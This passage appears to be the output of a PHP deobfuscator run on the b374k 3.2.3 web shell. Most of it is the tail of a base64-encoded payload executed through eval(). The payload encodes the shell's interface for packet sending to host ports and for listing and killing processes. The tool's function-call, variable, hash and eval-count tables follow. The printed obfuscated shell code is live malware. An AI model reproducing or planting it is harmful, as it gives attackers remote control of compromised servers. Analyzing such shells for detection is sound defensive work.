sKCX0KCWVsc2V7CgkJc3RhcnQgPSBwYWNrZXRTdGFydFBvcnQ7CgkJZW5kID0gcGFja2V0RW5kUG9ydDsKCX0KCglwYWNrZXRSZXN1bHQuaHRtbCgnJyk7Cgl3aGlsZShzdGFydDw9ZW5kKXsKCQlwYWNrZXRQb3J0ID0gc3RhcnQrKzsKCQlwYWNrZXRSZXN1bHQuYXBwZW5kKCI8aHI+PGRpdj48cCBjbGFzcz0nYm94dGl0bGUnPkhvc3QgOiAiK2h0bWxfc2FmZShwYWNrZXRIb3N0KSsiOiIrcGFja2V0UG9ydCsiPC9wPjxicj48ZGl2IGlkPSdwYWNrZXQiK3BhY2tldFBvcnQrIicgc3R5bGU9J3BhZGRpbmc6MnB4IDRweDsnPldvcmtpbmcuLi4gcGxlYXNlIHdhaXQuLi48L2Rpdj48L2Rpdj4iKTsKCQlwYWNrZXRfc2VuZChwYWNrZXRIb3N0LCBwYWNrZXRQb3J0LCBwYWNrZXRFbmRQb3J0LCBwYWNrZXRUaW1lb3V0LCBwYWNrZXRTVGltZW91dCwgcGFja2V0Q29udGVudCk7CgoJfQp9CgpmdW5jdGlvbiBwYWNrZXRfc2VuZChwYWNrZXRIb3N0LCBwYWNrZXRQb3J0LCBwYWNrZXRFbmRQb3J0LCBwYWNrZXRUaW1lb3V0LCBwYWNrZXRTVGltZW91dCwgcGFja2V0Q29udGVudCl7CglzZW5kX3Bvc3Qoe3BhY2tldEhvc3Q6cGFja2V0SG9zdCwgcGFja2V0UG9ydDpwYWNrZXRQb3J0LCBwYWNrZXRFbmRQb3J0OnBhY2tldEVuZFBvcnQsIHBhY2tldFRpbWVvdXQ6cGFja2V0VGltZW91dCwgcGFja2V0U1RpbWVvdXQ6cGFja2V0U1RpbWVvdXQsIHBhY2tldENvbnRlbnQ6cGFja2V0Q29udGVudH0sIGZ1bmN0aW9uKHJlcyl7CgkJJCgnI3BhY2tldCcrcGFja2V0UG9ydCkuaHRtbChyZXMpOwoJfSwgZmFsc2UpOwp9CgpaZXB0byhmdW5jdGlvbigkKXsKCXNob3dfcHJvY2Vzc2VzKCk7Cn0pOwoKZnVuY3Rpb24gc2hvd19wcm9jZXNzZXMoKXsKCXNlbmRfcG9zdCh7c2hvd1Byb2Nlc3NlczonJ30sIGZ1bmN0aW9uKHJlcyl7CgkJaWYocmVzIT0nZXJyb3InKXsKCQkJJCgnI3Byb2Nlc3NlcycpLmh0bWwocmVzKTsKCQkJc29ydHRhYmxlLmsoJCgnI3BzVGFibGUnKS5nZXQoMCkpOwoJCQlwc19iaW5kKCk7CgkJfQoJfSk7Cn0KCmZ1bmN0aW9uIHBzX2JpbmQoKXsKCSQoJy5raWxsJykub2ZmKCdjbGljaycpOwoJJCgnLmtpbGwnKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQlraWxsX3BpZChwc19nZXRfcGlkKCQodGhpcykpKTsKCX0pOwoKCgljYm94X2JpbmQoJ3BzVGFibGUnLCdwc191cGRhdGVfc3RhdHVzJyk7Cn0KCmZ1bmN0aW9uIHBzX2dldF9waWQoZWwpewoJcmV0dXJuIGVsLnBhcmVudCgpLnBhcmVudCgpLmF0dHIoJ2RhdGEtcGlkJyk7Cn0KCmZ1bmN0aW9uIHBzX3VwZGF0ZV9zdGF0dXMoKXsKCXRvdGFsU2VsZWN0ZWQgPSAkKCcjcHNUYWJsZScpLmZpbmQoJy5jQm94U2VsZWN0ZWQnKS5ub3QoJy5jQm94QWxsJykubGVuZ3RoOwoJaWYodG90YWxTZWxlY3RlZD09MCkgJCgnLnBzU2VsZWN0ZWQnKS5odG1sKCcnKTsKCWVsc2UgJCgnLnBzU2VsZWN0ZWQnKS5odG1sKCcgKCAnK3RvdGFsU2VsZWN0ZWQrJyBpdGVtKHMpIHNlbGVjdGVkICknKTsKfQoKZnVuY3Rpb24ga2lsbF9zZWxlY3RlZCgpewoJYnVmZmVyID0gZ2V0X2FsbF9jYm94X3NlbGVjdGVkKCdwc1RhYmxlJywgJ3BzX2dldF9waWQnKTsKCglhbGxQaWQgPSAnJzsKCSQuZWFjaChidWZmZXIsZnVuY3Rpb24oaSx2KXsKCQlhbGxQaWQgKz0gdiArICcgJzsKCX0pOwoJYWxsUGlkID0gJC50cmltKGFsbFBpZCk7CglraWxsX3BpZChhbGxQaWQpOwp9CgpmdW5jdGlvbiBraWxsX3BpZChhbGxQaWQpewoJdGl0bGUgPSAnS2lsbCc7Cgljb250ZW50ID0gIjx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkIGNvbHNwYW49JzInPjx0ZXh0YXJlYSBjbGFzcz0nYWxsUGlkJyBzdHlsZT0naGVpZ2h0OjEyMHB4O21pbi1oZWlnaHQ6MTIwcHg7JyBkaXNhYmxlZD4iK2FsbFBpZCsiPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwia2lsbF9waWRfZ28oKTtcIj5raWxsPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7CglzaG93X2JveCh0aXRsZSwgY29udGVudCk7Cn0KCmZ1bmN0aW9uIGtpbGxfcGlkX2dvKCl7CglhbGxQaWQgPSAkKCcuYWxsUGlkJykudmFsKCk7CglpZigkLnRyaW0oYWxsUGlkKSE9JycpewoJCXNlbmRfcG9zdCh7YWxsUGlkOmFsbFBpZH0sIGZ1bmN0aW9uKHJlcyl7CgkJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCQkkKCcuYm94cmVzdWx0JykuaHRtbChyZXMgKyAnIHByb2Nlc3MoZXMpIGtpbGxlZCcpOwoJCQl9CgkJCWVsc2UgJCgnLmJveHJlc3VsdCcpLmh0bWwoJ1VuYWJsZSB0byBraWxsIHByb2Nlc3MoZXMpJyk7CgkJCXNob3dfcHJvY2Vzc2VzKCk7CgkJfSk7Cgl9Cn0KCgo8P3BocAoJZm9yZWFjaCgkR0xPQkFMU1snbW9kdWxlX3RvX2xvYWQnXSBhcyAkayl7CgkJZWNobyAiZnVuY3Rpb24gIi4kR0xPQkFMU1snbW9kdWxlJ11bJGtdWydpZCddLiIoKXsgIi4kR0xPQkFMU1snbW9kdWxlJ11bJGtdWydqc19vbnRhYnNlbGVjdGVkJ10uIiB9XG4iOwoJfQo/Pgo8L3NjcmlwdD4KPCEtLXNjcmlwdCBlbmQtLT4KPC9ib2R5Pgo8L2h0bWw+PD9waHAgZGllKCk7Pz4K');
eval($d=&$b);


Function Calls

strtr 1
base64_decode 1

Variables

$a base64_decode
$b /* b374k shell 3.2.3 Jayalah Indonesiaku (c)2014 https:..
$d /* b374k shell 3.2.3 Jayalah Indonesiaku (c)2014 https:..

Stats

MD5 fdb9736b6cf7d4bdd32b489ed56c3be3
Eval Count 1
Decode Time 559 ms